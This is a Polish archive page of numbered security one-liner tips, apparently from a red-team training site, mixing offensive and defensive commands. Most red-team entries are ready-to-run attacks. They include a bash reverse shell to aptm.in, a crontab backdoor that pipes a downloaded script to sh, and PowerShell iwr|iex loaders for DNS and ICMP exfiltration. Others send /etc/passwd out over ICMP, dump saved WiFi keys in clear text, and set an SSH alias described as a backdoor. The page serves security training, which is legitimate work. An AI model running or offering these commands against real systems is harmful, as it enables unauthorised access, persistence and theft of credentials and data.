PS> (netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name"

(netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name" - hasła WiFi na tacy

#Powershell#Windows#RedTeam#Recon
Windows 0015
> whoami /all

whoami /all - coś więcej niż gołe whoami

#Windows#RedTeam#Recon
PowerShell 0014
PS> ps | Out-GridView

ps | Out-GridView - i życie staje się wygodniejsze

#Powershell#Windows#Usability
Bash / Unix 0013
$ socat TCP-LISTEN:2048,fork,reuseaddr STDIO

socat TCP-LISTEN:2048,fork,reuseaddr STDIO - obsłuż wielu klientów na porcie 2048

#Linux#RedTeam#BlueTeam#Socat#RevShell
PowerShell 0012
PS> (ls "HKCU:\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords").Property

(ls "HKCU:\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords").Property - pokaż dokumenty Microsoft Office, którym zaufał użytkownik

#Powershell#ThreatHunting#BlueTeam#Windows#Office
PowerShell 0011
PS> gp HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

gp HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - pokaż co jest uruchamiane po zalogowaniu

#Powershell#BlueTeam#Backdoor#Windows#Autostart
Bash / Unix 0010
$ iptables -t nat -p tcp -I PREROUTING -m multiport --dports 50:65535 -j REDIRECT --to-port 22

iptables -t nat -p tcp -I PREROUTING -m multiport --dports 50:65535 -j REDIRECT --to-port 22 - przekieruje wszystkie połączenia TCP od portu 50 w górę na port 22

#Linux#RedTeam#BlueTeam#Exfil
Python 000f
$ python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'

Podgląd payloadu ICMP w Scapy: python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'

#Unix#RedTeam#BlueTeam#ICMP#Exfil#Python#Scapy
Bash / Unix 000e
$ hping3 --icmp -d 1000 aptm.in --file /etc/passwd

hping3 --icmp -d 1000 aptm.in --file /etc/passwd - eksfiltracja po ICMP pliku /etc/passwd

#Unix#RedTeam#ICMP#Exfil
PowerShell 000d
PS> iwr aptm.in/g/dnsex|iex; whoami|Invoke-DNSExfil foo.aptmc.pl

Eksfiltracja po DNS? Proszę bardzo: iwr aptm.in/g/dnsex|iex; whoami|Invoke-DNSExfil foo.aptmc.pl

#Powershell#RedTeam#DNS#Exfil
PowerShell 000c
PS> iwr aptm.in/g/icmpex|iex; ipconfig|Invoke-ICMPExfil aptm.in

iwr aptm.in/g/icmpex|iex; ipconfig|Invoke-ICMPExfil aptm.in - eksfiltracja danych po ICMP w Powershellu to bajka

#Powershell#RedTeam#ICMP#Exfil
Windows 000b
> setspn.exe -Q MSSQLSvc/*

setspn.exe -Q MSSQLSvc/* błyskawicznie wyciągnie wszystkie usługi MSSQL z AD

#Windows#RedTeam#Recon
Bash / Unix 000a
$ (crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontab

(crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontab - może być zupełnie skutecznym backdoorem na Linux/Unix/MacOS

#Bash#Backdoor#RedTeam#Unix
PowerShell 0009
PS> Start-Transcript

Wykorzystaj cmdlet Start-Transcript, żeby zapisać transkrypt dla istotnych sesji

#Powershell#RedTeam#BlueTeam
PowerShell 0008
PS> gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*"|where Debugger|select PSChildName,Debugger

gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*"|where Debugger|select PSChildName,Debugger - jeśli wynik nie jest pusty - masz Problem

#Powershell#ThreatHunting#BlueTeam
Bash / Unix 0007
$ alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes"

alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes" - bardzo fajny/bardzo groźny backdoor, zwłaszcza na hoście przesiadkowym

#Bash#RedTeam#SSH#Backdoor#LTO
Docker 0006
$ docker run -p 443:443 mikesplain/openvas

docker run -p 443:443 mikesplain/openvas - uruchomienie działającego OpenVAS z wykorzystaniem Dockera

#Docker#RedTeam#MakeItLoud#Recon#Vulnerabilities
Bash / Unix 0005
$ for i in {1..254}; do host x.x.x.$i|grep -v NXDOMAIN; done

for i in {1..254}; do host x.x.x.$i|grep -v NXDOMAIN; done - szybki revdns recon danej sieci /24

#Bash#RedTeam#Recon#OSINT
PowerShell 0004
PS> (irm ipinfo.io/json).ip

(irm ipinfo.io/json).ip - szybki sposób na uzyskanie zewnętrznego adresu IP

#Powershell#RedTeam#Recon
Python 0003
$ python -m SimpleHTTPServer

Udostępnij po HTTP na porcie 8000 aktualny katalog: python -m SimpleHTTPServer (Python2)

#Python#HTTP#RedTeam
Bash / Unix 0002
$ bash -i >& /dev/tcp/aptm.in/1337 0>&1

Szybki reverse shell w czystym bashu.

#Bash#RedTeam#ReverseShell
PowerShell 0001
// Powershell Constrained Language Mode

Istotnie ogranicz możliwości złośliwych skryptów.

#Powershell#BlueTeam#MakeItHarder

// pełne archiwum protipów na aptmasterclass.com

// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: